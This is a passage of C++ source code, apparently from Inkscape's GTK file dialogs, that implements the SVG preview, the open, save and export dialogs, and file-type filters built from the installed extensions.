if (g_stat(fName, &info)) // stat returns 0 upon success
{
g_warning("SVGPreview::set() : %s : %s", fName, strerror(errno));
return false;
}
if (info.st_size > 0xA00000L) {
showingNoPreview = false;
showTooLarge(info.st_size);
return false;
}
}
Glib::ustring svg = ".svg";
Glib::ustring svgz = ".svgz";
if ((dialogType == SVG_TYPES || dialogType == IMPORT_TYPES) &&
(hasSuffix(fileName, svg) || hasSuffix(fileName, svgz))) {
bool retval = setFileName(fileName);
showingNoPreview = false;
return retval;
} else if (isValidImageFile(fileName)) {
showImage(fileName);
showingNoPreview = false;
return true;
} else {
showNoPreview();
return false;
}
}
SVGPreview::SVGPreview()
{
// \FIXME Why?!!??
if (!Inkscape::Application::exists())
Inkscape::Application::create("", false);
document = NULL;
viewerGtk = NULL;
set_size_request(150, 150);
showingNoPreview = false;
}
SVGPreview::~SVGPreview()
{
}
/*#########################################################################
### F I L E D I A L O G B A S E C L A S S
#########################################################################*/
void FileDialogBaseGtk::internalSetup()
{
// Open executable file dialogs don't need the preview panel
if (_dialogType != EXE_TYPES) {
Inkscape::Preferences *prefs = Inkscape::Preferences::get();
bool enablePreview = prefs->getBool(preferenceBase + "/enable_preview", true);
previewCheckbox.set_label(Glib::ustring(_("Enable preview")));
previewCheckbox.set_active(enablePreview);
previewCheckbox.signal_toggled().connect(sigc::mem_fun(*this, &FileDialogBaseGtk::_previewEnabledCB));
// Catch selection-changed events, so we can adjust the text widget
signal_update_preview().connect(sigc::mem_fun(*this, &FileDialogBaseGtk::_updatePreviewCallback));
//###### Add a preview widget
set_preview_widget(svgPreview);
set_preview_widget_active(enablePreview);
set_use_preview_label(false);
}
}
void FileDialogBaseGtk::cleanup(bool showConfirmed)
{
if (_dialogType != EXE_TYPES) {
Inkscape::Preferences *prefs = Inkscape::Preferences::get();
if (showConfirmed) {
prefs->setBool(preferenceBase + "/enable_preview", previewCheckbox.get_active());
}
}
}
void FileDialogBaseGtk::_previewEnabledCB()
{
bool enabled = previewCheckbox.get_active();
set_preview_widget_active(enabled);
if (enabled) {
_updatePreviewCallback();
} else {
// Clears out any current preview image.
svgPreview.showNoPreview();
}
}
/**
* Callback for checking if the preview needs to be redrawn
*/
void FileDialogBaseGtk::_updatePreviewCallback()
{
Glib::ustring fileName = get_preview_filename();
bool enabled = previewCheckbox.get_active();
#ifdef WITH_GNOME_VFS
if (fileName.empty() && gnome_vfs_initialized()) {
fileName = get_preview_uri();
}
#endif
if (enabled && !fileName.empty()) {
svgPreview.set(fileName, _dialogType);
} else {
svgPreview.showNoPreview();
}
}
/*#########################################################################
### F I L E O P E N
#########################################################################*/
/**
* Constructor. Not called directly. Use the factory.
*/
FileOpenDialogImplGtk::FileOpenDialogImplGtk(Gtk::Window &parentWindow, const Glib::ustring &dir,
FileDialogType fileTypes, const Glib::ustring &title)
: FileDialogBaseGtk(parentWindow, title, Gtk::FILE_CHOOSER_ACTION_OPEN, fileTypes, "/dialogs/open")
{
if (_dialogType == EXE_TYPES) {
/* One file at a time */
set_select_multiple(false);
} else {
/* And also Multiple Files */
set_select_multiple(true);
}
#ifdef WITH_GNOME_VFS
if (gnome_vfs_initialized()) {
set_local_only(false);
}
#endif
/* Initalize to Autodetect */
extension = NULL;
/* No filename to start out with */
myFilename = "";
/* Set our dialog type (open, import, etc...)*/
_dialogType = fileTypes;
/* Set the pwd and/or the filename */
if (dir.size() > 0) {
Glib::ustring udir(dir);
Glib::ustring::size_type len = udir.length();
// leaving a trailing backslash on the directory name leads to the infamous
// double-directory bug on win32
if (len != 0 && udir[len - 1] == '\\')
udir.erase(len - 1);
if (_dialogType == EXE_TYPES) {
set_filename(udir.c_str());
} else {
set_current_folder(udir.c_str());
}
}
if (_dialogType != EXE_TYPES) {
set_extra_widget(previewCheckbox);
}
//###### Add the file types menu
createFilterMenu();
add_button(Gtk::Stock::CANCEL, Gtk::RESPONSE_CANCEL);
set_default(*add_button(Gtk::Stock::OPEN, Gtk::RESPONSE_OK));
//###### Allow easy access to our examples folder
if (Inkscape::IO::file_test(INKSCAPE_EXAMPLESDIR, G_FILE_TEST_EXISTS) &&
Inkscape::IO::file_test(INKSCAPE_EXAMPLESDIR, G_FILE_TEST_IS_DIR) && g_path_is_absolute(INKSCAPE_EXAMPLESDIR)) {
add_shortcut_folder(INKSCAPE_EXAMPLESDIR);
}
}
/**
* Destructor
*/
FileOpenDialogImplGtk::~FileOpenDialogImplGtk()
{
}
void FileOpenDialogImplGtk::addFilterMenu(Glib::ustring name, Glib::ustring pattern)
{
#if WITH_GTKMM_3_0
Glib::RefPtr<Gtk::FileFilter> allFilter = Gtk::FileFilter::create();
allFilter->set_name(_(name.c_str()));
allFilter->add_pattern(pattern);
#else
Gtk::FileFilter allFilter;
allFilter.set_name(_(name.c_str()));
allFilter.add_pattern(pattern);
#endif
extensionMap[Glib::ustring(_("All Files"))] = NULL;
add_filter(allFilter);
}
void FileOpenDialogImplGtk::createFilterMenu()
{
if (_dialogType == CUSTOM_TYPE) {
return;
}
if (_dialogType == EXE_TYPES) {
#if WITH_GTKMM_3_0
Glib::RefPtr<Gtk::FileFilter> allFilter = Gtk::FileFilter::create();
allFilter->set_name(_("All Files"));
allFilter->add_pattern("*");
#else
Gtk::FileFilter allFilter;
allFilter.set_name(_("All Files"));
allFilter.add_pattern("*");
#endif
extensionMap[Glib::ustring(_("All Files"))] = NULL;
add_filter(allFilter);
} else {
#if WITH_GTKMM_3_0
Glib::RefPtr<Gtk::FileFilter> allInkscapeFilter = Gtk::FileFilter::create();
allInkscapeFilter->set_name(_("All Inkscape Files"));
Glib::RefPtr<Gtk::FileFilter> allFilter = Gtk::FileFilter::create();
allFilter->set_name(_("All Files"));
allFilter->add_pattern("*");
Glib::RefPtr<Gtk::FileFilter> allImageFilter = Gtk::FileFilter::create();
allImageFilter->set_name(_("All Images"));
Glib::RefPtr<Gtk::FileFilter> allVectorFilter = Gtk::FileFilter::create();
allVectorFilter->set_name(_("All Vectors"));
Glib::RefPtr<Gtk::FileFilter> allBitmapFilter = Gtk::FileFilter::create();
allBitmapFilter->set_name(_("All Bitmaps"));
#else
Gtk::FileFilter allInkscapeFilter;
allInkscapeFilter.set_name(_("All Inkscape Files"));
Gtk::FileFilter allFilter;
allFilter.set_name(_("All Files"));
allFilter.add_pattern("*");
Gtk::FileFilter allImageFilter;
allImageFilter.set_name(_("All Images"));
Gtk::FileFilter allVectorFilter;
allVectorFilter.set_name(_("All Vectors"));
Gtk::FileFilter allBitmapFilter;
allBitmapFilter.set_name(_("All Bitmaps"));
#endif
extensionMap[Glib::ustring(_("All Inkscape Files"))] = NULL;
add_filter(allInkscapeFilter);
extensionMap[Glib::ustring(_("All Files"))] = NULL;
add_filter(allFilter);
extensionMap[Glib::ustring(_("All Images"))] = NULL;
add_filter(allImageFilter);
extensionMap[Glib::ustring(_("All Vectors"))] = NULL;
add_filter(allVectorFilter);
extensionMap[Glib::ustring(_("All Bitmaps"))] = NULL;
add_filter(allBitmapFilter);
// patterns added dynamically below
Inkscape::Extension::DB::InputList extension_list;
Inkscape::Extension::db.get_input_list(extension_list);
for (Inkscape::Extension::DB::InputList::iterator current_item = extension_list.begin();
current_item != extension_list.end(); ++current_item)
{
Inkscape::Extension::Input *imod = *current_item;
// FIXME: would be nice to grey them out instead of not listing them
if (imod->deactivated())
continue;
Glib::ustring upattern("*");
Glib::ustring extension = imod->get_extension();
fileDialogExtensionToPattern(upattern, extension);
Glib::ustring uname(_(imod->get_filetypename()));
#if WITH_GTKMM_3_0
Glib::RefPtr<Gtk::FileFilter> filter = Gtk::FileFilter::create();
filter->set_name(uname);
filter->add_pattern(upattern);
#else
Gtk::FileFilter filter;
filter.set_name(uname);
filter.add_pattern(upattern);
#endif
add_filter(filter);
extensionMap[uname] = imod;
// g_message("ext %s:%s '%s'\n", ioext->name, ioext->mimetype, upattern.c_str());
#if WITH_GTKMM_3_0
allInkscapeFilter->add_pattern(upattern);
if (strncmp("image", imod->get_mimetype(), 5) == 0)
allImageFilter->add_pattern(upattern);
#else
allInkscapeFilter.add_pattern(upattern);
if (strncmp("image", imod->get_mimetype(), 5) == 0)
allImageFilter.add_pattern(upattern);
#endif
// uncomment this to find out all mime types supported by Inkscape import/open
// g_print ("%s\n", imod->get_mimetype());
// I don't know of any other way to define "bitmap" formats other than by listing them
if (strncmp("image/png", imod->get_mimetype(), 9) == 0 ||
strncmp("image/jpeg", imod->get_mimetype(), 10) == 0 ||
strncmp("image/gif", imod->get_mimetype(), 9) == 0 ||
strncmp("image/x-icon", imod->get_mimetype(), 12) == 0 ||
strncmp("image/x-navi-animation", imod->get_mimetype(), 22) == 0 ||
strncmp("image/x-cmu-raster", imod->get_mimetype(), 18) == 0 ||
strncmp("image/x-xpixmap", imod->get_mimetype(), 15) == 0 ||
strncmp("image/bmp", imod->get_mimetype(), 9) == 0 ||
strncmp("image/vnd.wap.wbmp", imod->get_mimetype(), 18) == 0 ||
strncmp("image/tiff", imod->get_mimetype(), 10) == 0 ||
strncmp("image/x-xbitmap", imod->get_mimetype(), 15) == 0 ||
strncmp("image/x-tga", imod->get_mimetype(), 11) == 0 ||
strncmp("image/x-pcx", imod->get_mimetype(), 11) == 0)
{
#if WITH_GTKMM_3_0
allBitmapFilter->add_pattern(upattern);
#else
allBitmapFilter.add_pattern(upattern);
#endif
} else {
#if WITH_GTKMM_3_0
allVectorFilter->add_pattern(upattern);
#else
allVectorFilter.add_pattern(upattern);
#endif
}
}
}
return;
}
/**
* Show this dialog modally. Return true if user hits [OK]
*/
bool FileOpenDialogImplGtk::show()
{
set_modal(TRUE); // Window
sp_transientize(GTK_WIDGET(gobj())); // Make transient
gint b = run(); // Dialog
svgPreview.showNoPreview();
hide();
if (b == Gtk::RESPONSE_OK) {
// This is a hack, to avoid the warning messages that
// Gtk::FileChooser::get_filter() returns
// should be: Gtk::FileFilter *filter = get_filter();
GtkFileChooser *gtkFileChooser = Gtk::FileChooser::gobj();
GtkFileFilter *filter = gtk_file_chooser_get_filter(gtkFileChooser);
if (filter) {
// Get which extension was chosen, if any
extension = extensionMap[gtk_file_filter_get_name(filter)];
}
myFilename = get_filename();
#ifdef WITH_GNOME_VFS
if (myFilename.empty() && gnome_vfs_initialized())
myFilename = get_uri();
#endif
cleanup(true);
return true;
} else {
cleanup(false);
return false;
}
}
/**
* Get the file extension type that was selected by the user. Valid after an [OK]
*/
Inkscape::Extension::Extension *FileOpenDialogImplGtk::getSelectionType()
{
return extension;
}
/**
* Get the file name chosen by the user. Valid after an [OK]
*/
Glib::ustring FileOpenDialogImplGtk::getFilename(void)
{
return myFilename;
}
/**
* To Get Multiple filenames selected at-once.
*/
std::vector<Glib::ustring> FileOpenDialogImplGtk::getFilenames()
{
#if WITH_GTKMM_3_0
std::vector<std::string> result_tmp = get_filenames();
// Copy filenames to a vector of type Glib::ustring
std::vector<Glib::ustring> result;
for (std::vector<std::string>::iterator it = result_tmp.begin(); it != result_tmp.end(); ++it)
result.push_back(*it);
#else
std::vector<Glib::ustring> result = get_filenames();
#endif
#ifdef WITH_GNOME_VFS
if (result.empty() && gnome_vfs_initialized())
result = get_uris();
#endif
return result;
}
Glib::ustring FileOpenDialogImplGtk::getCurrentDirectory()
{
return get_current_folder();
}
//########################################################################
//# F I L E S A V E
//########################################################################
/**
* Constructor
*/
FileSaveDialogImplGtk::FileSaveDialogImplGtk(Gtk::Window &parentWindow, const Glib::ustring &dir,
FileDialogType fileTypes, const Glib::ustring &title,
const Glib::ustring & /*default_key*/, const gchar *docTitle,
const Inkscape::Extension::FileSaveMethod save_method)
: FileDialogBaseGtk(parentWindow, title, Gtk::FILE_CHOOSER_ACTION_SAVE, fileTypes,
(save_method == Inkscape::Extension::FILE_SAVE_METHOD_SAVE_COPY) ? "/dialogs/save_copy"
: "/dialogs/save_as")
, save_method(save_method)
{
FileSaveDialog::myDocTitle = docTitle;
/* One file at a time */
set_select_multiple(false);
#ifdef WITH_GNOME_VFS
if (gnome_vfs_initialized()) {
set_local_only(false);
}
#endif
/* Initalize to Autodetect */
extension = NULL;
/* No filename to start out with */
myFilename = "";
/* Set our dialog type (save, export, etc...)*/
_dialogType = fileTypes;
/* Set the pwd and/or the filename */
if (dir.size() > 0) {
Glib::ustring udir(dir);
Glib::ustring::size_type len = udir.length();
// leaving a trailing backslash on the directory name leads to the infamous
// double-directory bug on win32
if ((len != 0) && (udir[len - 1] == '\\')) {
udir.erase(len - 1);
}
myFilename = udir;
}
//###### Add the file types menu
// createFilterMenu();
//###### Do we want the .xxx extension automatically added?
Inkscape::Preferences *prefs = Inkscape::Preferences::get();
fileTypeCheckbox.set_label(Glib::ustring(_("Append filename extension automatically")));
if (save_method == Inkscape::Extension::FILE_SAVE_METHOD_SAVE_COPY) {
fileTypeCheckbox.set_active(prefs->getBool("/dialogs/save_copy/append_extension", true));
} else {
fileTypeCheckbox.set_active(prefs->getBool("/dialogs/save_as/append_extension", true));
}
if (_dialogType != CUSTOM_TYPE)
createFileTypeMenu();
fileTypeComboBox.set_size_request(200, 40);
fileTypeComboBox.signal_changed().connect(sigc::mem_fun(*this, &FileSaveDialogImplGtk::fileTypeChangedCallback));
childBox.pack_start(checksBox);
childBox.pack_end(fileTypeComboBox);
checksBox.pack_start(fileTypeCheckbox);
checksBox.pack_start(previewCheckbox);
set_extra_widget(childBox);
// Let's do some customization
fileNameEntry = NULL;
Gtk::Container *cont = get_toplevel();
std::vector<Gtk::Entry *> entries;
findEntryWidgets(cont, entries);
// g_message("Found %d entry widgets\n", entries.size());
if (!entries.empty()) {
// Catch when user hits [return] on the text field
fileNameEntry = entries[0];
fileNameEntry->signal_activate().connect(
sigc::mem_fun(*this, &FileSaveDialogImplGtk::fileNameEntryChangedCallback));
}
// Let's do more customization
std::vector<Gtk::Expander *> expanders;
findExpanderWidgets(cont, expanders);
// g_message("Found %d expander widgets\n", expanders.size());
if (!expanders.empty()) {
// Always show the file list
Gtk::Expander *expander = expanders[0];
expander->set_expanded(true);
}
// allow easy access to the user's own templates folder
gchar *templates = Inkscape::Application::profile_path("templates");
if (Inkscape::IO::file_test(templates, G_FILE_TEST_EXISTS) &&
Inkscape::IO::file_test(templates, G_FILE_TEST_IS_DIR) && g_path_is_absolute(templates)) {
add_shortcut_folder(templates);
}
g_free(templates);
// if (extension == NULL)
// checkbox.set_sensitive(FALSE);
add_button(Gtk::Stock::CANCEL, Gtk::RESPONSE_CANCEL);
set_default(*add_button(Gtk::Stock::SAVE, Gtk::RESPONSE_OK));
show_all_children();
}
/**
* Destructor
*/
FileSaveDialogImplGtk::~FileSaveDialogImplGtk()
{
}
/**
* Callback for fileNameEntry widget
*/
void FileSaveDialogImplGtk::fileNameEntryChangedCallback()
{
if (!fileNameEntry)
return;
Glib::ustring fileName = fileNameEntry->get_text();
if (!Glib::get_charset()) // If we are not utf8
fileName = Glib::filename_to_utf8(fileName);
// g_message("User hit return. Text is '%s'\n", fileName.c_str());
if (!Glib::path_is_absolute(fileName)) {
// try appending to the current path
// not this way: fileName = get_current_folder() + "/" + fileName;
std::vector<Glib::ustring> pathSegments;
pathSegments.push_back(get_current_folder());
pathSegments.push_back(fileName);
fileName = Glib::build_filename(pathSegments);
}
// g_message("path:'%s'\n", fileName.c_str());
if (Glib::file_test(fileName, Glib::FILE_TEST_IS_DIR)) {
set_current_folder(fileName);
} else if (/*Glib::file_test(fileName, Glib::FILE_TEST_IS_REGULAR)*/ 1) {
// dialog with either (1) select a regular file or (2) cd to dir
// simulate an 'OK'
set_filename(fileName);
response(Gtk::RESPONSE_OK);
}
}
/**
* Callback for fileNameEntry widget
*/
void FileSaveDialogImplGtk::fileTypeChangedCallback()
{
int sel = fileTypeComboBox.get_active_row_number();
if ((sel < 0) || (sel >= (int)fileTypes.size()))
return;
FileType type = fileTypes[sel];
// g_message("selected: %s\n", type.name.c_str());
extension = type.extension;
#if WITH_GTKMM_3_0
Glib::RefPtr<Gtk::FileFilter> filter = Gtk::FileFilter::create();
filter->add_pattern(type.pattern);
#else
Gtk::FileFilter filter;
filter.add_pattern(type.pattern);
#endif
set_filter(filter);
updateNameAndExtension();
}
void FileSaveDialogImplGtk::addFileType(Glib::ustring name, Glib::ustring pattern)
{
//#Let user choose
FileType guessType;
guessType.name = name;
guessType.pattern = pattern;
guessType.extension = NULL;
fileTypeComboBox.append(guessType.name);
fileTypes.push_back(guessType);
fileTypeComboBox.set_active(0);
fileTypeChangedCallback(); // call at least once to set the filter
}
void FileSaveDialogImplGtk::createFileTypeMenu()
{
Inkscape::Extension::DB::OutputList extension_list;
Inkscape::Extension::db.get_output_list(extension_list);
knownExtensions.clear();
for (Inkscape::Extension::DB::OutputList::iterator current_item = extension_list.begin();
current_item != extension_list.end(); ++current_item) {
Inkscape::Extension::Output *omod = *current_item;
// FIXME: would be nice to grey them out instead of not listing them
if (omod->deactivated())
continue;
FileType type;
type.name = (_(omod->get_filetypename()));
type.pattern = "*";
Glib::ustring extension = omod->get_extension();
knownExtensions.insert(extension.casefold());
fileDialogExtensionToPattern(type.pattern, extension);
type.extension = omod;
fileTypeComboBox.append(type.name);
fileTypes.push_back(type);
}
//#Let user choose
FileType guessType;
guessType.name = _("Guess from extension");
guessType.pattern = "*";
guessType.extension = NULL;
fileTypeComboBox.append(guessType.name);
fileTypes.push_back(guessType);
fileTypeComboBox.set_active(0);
fileTypeChangedCallback(); // call at least once to set the filter
}
/**
* Show this dialog modally. Return true if user hits [OK]
*/
bool FileSaveDialogImplGtk::show()
{
change_path(myFilename);
set_modal(TRUE); // Window
sp_transientize(GTK_WIDGET(gobj())); // Make transient
gint b = run(); // Dialog
svgPreview.showNoPreview();
set_preview_widget_active(false);
hide();
if (b == Gtk::RESPONSE_OK) {
updateNameAndExtension();
Inkscape::Preferences *prefs = Inkscape::Preferences::get();
// Store changes of the "Append filename automatically" checkbox back to preferences.
if (save_method == Inkscape::Extension::FILE_SAVE_METHOD_SAVE_COPY) {
prefs->setBool("/dialogs/save_copy/append_extension", fileTypeCheckbox.get_active());
} else {
prefs->setBool("/dialogs/save_as/append_extension", fileTypeCheckbox.get_active());
}
Inkscape::Extension::store_file_extension_in_prefs((extension != NULL ? extension->get_id() : ""), save_method);
cleanup(true);
return true;
} else {
cleanup(false);
return false;
}
}
/**
* Get the file extension type that was selected by the user. Valid after an [OK]
*/
Inkscape::Extension::Extension *FileSaveDialogImplGtk::getSelectionType()
{
return extension;
}
void FileSaveDialogImplGtk::setSelectionType(Inkscape::Extension::Extension *key)
{
// If no pointer to extension is passed in, look up based on filename extension.
if (!key) {
// Not quite UTF-8 here.
gchar *filenameLower = g_ascii_strdown(myFilename.c_str(), -1);
for (int i = 0; !key && (i < (int)fileTypes.size()); i++) {
Inkscape::Extension::Output *ext = dynamic_cast<Inkscape::Extension::Output *>(fileTypes[i].extension);
if (ext && ext->get_extension()) {
gchar *extensionLower = g_ascii_strdown(ext->get_extension(), -1);
if (g_str_has_suffix(filenameLower, extensionLower)) {
key = fileTypes[i].extension;
}
g_free(extensionLower);
}
}
g_free(filenameLower);
}
// Ensure the proper entry in the combo box is selected.
if (key) {
extension = key;
gchar const *extensionID = extension->get_id();
if (extensionID) {
for (int i = 0; i < (int)fileTypes.size(); i++) {
Inkscape::Extension::Extension *ext = fileTypes[i].extension;
if (ext) {
gchar const *id = ext->get_id();
if (id && (strcmp(extensionID, id) == 0)) {
int oldSel = fileTypeComboBox.get_active_row_number();
if (i != oldSel) {
fileTypeComboBox.set_active(i);
}
break;
}
}
}
}
}
}
Glib::ustring FileSaveDialogImplGtk::getCurrentDirectory()
{
return get_current_folder();
}
/*void
FileSaveDialogImplGtk::change_title(const Glib::ustring& title)
{
set_title(title);
}*/
/**
* Change the default save path location.
*/
void FileSaveDialogImplGtk::change_path(const Glib::ustring &path)
{
myFilename = path;
if (Glib::file_test(myFilename, Glib::FILE_TEST_IS_DIR)) {
// fprintf(stderr,"set_current_folder(%s)\n",myFilename.c_str());
set_current_folder(myFilename);
} else {
// fprintf(stderr,"set_filename(%s)\n",myFilename.c_str());
if (Glib::file_test(myFilename, Glib::FILE_TEST_EXISTS)) {
set_filename(myFilename);
} else {
std::string dirName = Glib::path_get_dirname(myFilename);
if (dirName != get_current_folder()) {
set_current_folder(dirName);
}
}
Glib::ustring basename = Glib::path_get_basename(myFilename);
// fprintf(stderr,"set_current_name(%s)\n",basename.c_str());
try
{
set_current_name(Glib::filename_to_utf8(basename));
}
catch (Glib::ConvertError &e)
{
g_warning("Error converting save filename to UTF-8.");
// try a fallback.
set_current_name(basename);
}
}
}
void FileSaveDialogImplGtk::updateNameAndExtension()
{
// Pick up any changes the user has typed in.
Glib::ustring tmp = get_filename();
#ifdef WITH_GNOME_VFS
if (tmp.empty() && gnome_vfs_initialized()) {
tmp = get_uri();
}
#endif
if (!tmp.empty()) {
myFilename = tmp;
}
Inkscape::Extension::Output *newOut = extension ? dynamic_cast<Inkscape::Extension::Output *>(extension) : 0;
if (fileTypeCheckbox.get_active() && newOut) {
// Append the file extension if it's not already present and display it in the file name entry field
appendExtension(myFilename, newOut);
change_path(myFilename);
}
}
#ifdef NEW_EXPORT_DIALOG
//########################################################################
//# F I L E E X P O R T
//########################################################################
/**
* Callback for fileNameEntry widget
*/
void FileExportDialogImpl::fileNameEntryChangedCallback()
{
if (!fileNameEntry)
return;
Glib::ustring fileName = fileNameEntry->get_text();
if (!Glib::get_charset()) // If we are not utf8
fileName = Glib::filename_to_utf8(fileName);
// g_message("User hit return. Text is '%s'\n", fileName.c_str());
if (!Glib::path_is_absolute(fileName)) {
// try appending to the current path
// not this way: fileName = get_current_folder() + "/" + fileName;
std::vector<Glib::ustring> pathSegments;
pathSegments.push_back(get_current_folder());
pathSegments.push_back(fileName);
fileName = Glib::build_filename(pathSegments);
}
// g_message("path:'%s'\n", fileName.c_str());
if (Glib::file_test(fileName, Glib::FILE_TEST_IS_DIR)) {
set_current_folder(fileName);
} else if (/*Glib::file_test(fileName, Glib::FILE_TEST_IS_REGULAR)*/ 1) {
// dialog with either (1) select a regular file or (2) cd to dir
// simulate an 'OK'
set_filename(fileName);
response(Gtk::RESPONSE_OK);
}
}
/**
* Callback for fileNameEntry widget
*/
void FileExportDialogImpl::fileTypeChangedCallback()
{
int sel = fileTypeComboBox.get_active_row_number();
if ((sel < 0) || (sel >= (int)fileTypes.size()))
return;
FileType type = fileTypes[sel];
// g_message("selected: %s\n", type.name.c_str());
Gtk::FileFilter filter;
filter.add_pattern(type.pattern);
set_filter(filter);
}
void FileExportDialogImpl::createFileTypeMenu()
{
Inkscape::Extension::DB::OutputList extension_list;
Inkscape::Extension::db.get_output_list(extension_list);
for (Inkscape::Extension::DB::OutputList::iterator current_item = extension_list.begin();
current_item != extension_list.end(); ++current_item) {
Inkscape::Extension::Output *omod = *current_item;
// FIXME: would be nice to grey them out instead of not listing them
if (omod->deactivated())
continue;
FileType type;
type.name = (_(omod->get_filetypename()));
type.pattern = "*";
Glib::ustring extension = omod->get_extension();
fileDialogExtensionToPattern(type.pattern, extension);
type.extension = omod;
fileTypeComboBox.append_text(type.name);
fileTypes.push_back(type);
}
//#Let user choose
FileType guessType;
guessType.name = _("Guess from extension");
guessType.pattern = "*";
guessType.extension = NULL;
fileTypeComboBox.append_text(guessType.name);
fileTypes.push_back(guessType);
fileTypeComboBox.set_active(0);
fileTypeChangedCallback(); // call at least once to set the filter
}
/**
* Constructor
*/
FileExportDialogImpl::FileExportDialogImpl(Gtk::Window &parentWindow, const Glib::ustring &dir,
FileDialogType fileTypes, const Glib::ustring &title,
const Glib::ustring & /*default_key*/)
: FileDialogBaseGtk(parentWindow, title, Gtk::FILE_CHOOSER_ACTION_SAVE, fileTypes, "/dialogs/export")
, sourceX0Spinner("X0", _("Left edge of source"))
, sourceY0Spinner("Y0", _("Top edge of source"))
, sourceX1Spinner("X1", _("Right edge of source"))
, sourceY1Spinner("Y1", _("Bottom edge of source"))
, sourceWidthSpinner("Width", _("Source width"))
, sourceHeightSpinner("Height", _("Source height"))
, destWidthSpinner("Width", _("Destination width"))
, destHeightSpinner("Height", _("Destination height"))
, destDPISpinner("DPI", _("Resolution (dots per inch)"))
{
Inkscape::Preferences *prefs = Inkscape::Preferences::get();
append_extension = prefs->getBool("/dialogs/save_export/append_extension", true);
/* One file at a time */
set_select_multiple(false);
#ifdef WITH_GNOME_VFS
if (gnome_vfs_initialized()) {
set_local_only(false);
}
#endif
/* Initalize to Autodetect */
extension = NULL;
/* No filename to start out with */
myFilename = "";
/* Set our dialog type (save, export, etc...)*/
_dialogType = fileTypes;
/* Set the pwd and/or the filename */
if (dir.size() > 0) {
Glib::ustring udir(dir);
Glib::ustring::size_type len = udir.length();
// leaving a trailing backslash on the directory name leads to the infamous
// double-directory bug on win32
if ((len != 0) && (udir[len - 1] == '\\'))
udir.erase(len - 1);
set_current_folder(udir.c_str());
}
//#########################################
//## EXTRA WIDGET -- SOURCE SIDE
//#########################################
//##### Export options buttons/spinners, etc
documentButton.set_label(_("Document"));
scopeBox.pack_start(documentButton);
scopeGroup = documentButton.get_group();
pageButton.set_label(_("Page"));
pageButton.set_group(scopeGroup);
scopeBox.pack_start(pageButton);
selectionButton.set_label(_("Selection"));
selectionButton.set_group(scopeGroup);
scopeBox.pack_start(selectionButton);
customButton.set_label(C_("Export dialog", "Custom"));
customButton.set_group(scopeGroup);
scopeBox.pack_start(customButton);
sourceBox.pack_start(scopeBox);
// dimension buttons
sourceTable.resize(3, 3);
sourceTable.attach(sourceX0Spinner, 0, 1, 0, 1);
sourceTable.attach(sourceY0Spinner, 1, 2, 0, 1);
sourceUnitsSpinner.setUnitType(UNIT_TYPE_LINEAR);
sourceTable.attach(sourceUnitsSpinner, 2, 3, 0, 1);
sourceTable.attach(sourceX1Spinner, 0, 1, 1, 2);
sourceTable.attach(sourceY1Spinner, 1, 2, 1, 2);
sourceTable.attach(sourceWidthSpinner, 0, 1, 2, 3);
sourceTable.attach(sourceHeightSpinner, 1, 2, 2, 3);
sourceBox.pack_start(sourceTable);
sourceFrame.set_label(_("Source"));
sourceFrame.add(sourceBox);
exportOptionsBox.pack_start(sourceFrame);
//#########################################
//## EXTRA WIDGET -- SOURCE SIDE
//#########################################
destTable.resize(3, 3);
destTable.attach(destWidthSpinner, 0, 1, 0, 1);
destTable.attach(destHeightSpinner, 1, 2, 0, 1);
destUnitsSpinner.setUnitType(UNIT_TYPE_LINEAR);
destTable.attach(destUnitsSpinner, 2, 3, 0, 1);
destTable.attach(destDPISpinner, 0, 1, 1, 2);
destBox.pack_start(destTable);
cairoButton.set_label(_("Cairo"));
otherOptionBox.pack_start(cairoButton);
antiAliasButton.set_label(_("Antialias"));
otherOptionBox.pack_start(antiAliasButton);
backgroundButton.set_label(_("Background"));
otherOptionBox.pack_start(backgroundButton);
destBox.pack_start(otherOptionBox);
//###### File options
//###### Do we want the .xxx extension automatically added?
fileTypeCheckbox.set_label(Glib::ustring(_("Append filename extension automatically")));
fileTypeCheckbox.set_active(append_extension);
destBox.pack_start(fileTypeCheckbox);
//###### File type menu
createFileTypeMenu();
fileTypeComboBox.set_size_request(200, 40);
fileTypeComboBox.signal_changed().connect(sigc::mem_fun(*this, &FileExportDialogImpl::fileTypeChangedCallback));
destBox.pack_start(fileTypeComboBox);
destFrame.set_label(_("Destination"));
destFrame.add(destBox);
exportOptionsBox.pack_start(destFrame);
//##### Put the two boxes and their parent onto the dialog
exportOptionsBox.pack_start(sourceFrame);
exportOptionsBox.pack_start(destFrame);
set_extra_widget(exportOptionsBox);
// Let's do some customization
fileNameEntry = NULL;
Gtk::Container *cont = get_toplevel();
std::vector<Gtk::Entry *> entries;
findEntryWidgets(cont, entries);
// g_message("Found %d entry widgets\n", entries.size());
if (!entries.empty()) {
// Catch when user hits [return] on the text field
fileNameEntry = entries[0];
fileNameEntry->signal_activate().connect(
sigc::mem_fun(*this, &FileExportDialogImpl::fileNameEntryChangedCallback));
}
// Let's do more customization
std::vector<Gtk::Expander *> expanders;
findExpanderWidgets(cont, expanders);
// g_message("Found %d expander widgets\n", expanders.size());
if (!expanders.empty()) {
// Always show the file list
Gtk::Expander *expander = expanders[0];
expander->set_expanded(true);
}
// if (extension == NULL)
// checkbox.set_sensitive(FALSE);
add_button(Gtk::Stock::CANCEL, Gtk::RESPONSE_CANCEL);
set_default(*add_button(Gtk::Stock::SAVE, Gtk::RESPONSE_OK));
show_all_children();
}
/**
* Destructor
*/
FileExportDialogImpl::~FileExportDialogImpl()
{
}
/**
* Show this dialog modally. Return true if user hits [OK]
*/
bool FileExportDialogImpl::show()
{
Glib::ustring s = Glib::filename_to_utf8(get_current_folder());
if (s.length() == 0) {
s = getcwd(NULL, 0);
}
set_current_folder(Glib::filename_from_utf8(s)); // hack to force initial dir listing
set_modal(TRUE); // Window
sp_transientize(GTK_WIDGET(gobj())); // Make transient
gint b = run(); // Dialog
svgPreview.showNoPreview();
hide();
if (b == Gtk::RESPONSE_OK) {
int sel = fileTypeComboBox.get_active_row_number();
if (sel >= 0 && sel < (int)fileTypes.size()) {
FileType &type = fileTypes[sel];
extension = type.extension;
}
myFilename = get_filename();
#ifdef WITH_GNOME_VFS
if (myFilename.empty() && gnome_vfs_initialized()) {
myFilename = get_uri();
}
#endif
/*
// FIXME: Why do we have more code
append_extension = checkbox.get_active();
Inkscape::Preferences *prefs = Inkscape::Preferences::get();
prefs->setBool("/dialogs/save_export/append_extension", append_extension);
prefs->setBool("/dialogs/save_export/default", ( extension != NULL ? extension->get_id() : "" ));
*/
return true;
} else {
return false;
}
}
/**
* Get the file extension type that was selected by the user. Valid after an [OK]
*/
Inkscape::Extension::Extension *FileExportDialogImpl::getSelectionType()
{
return extension;
}
/**
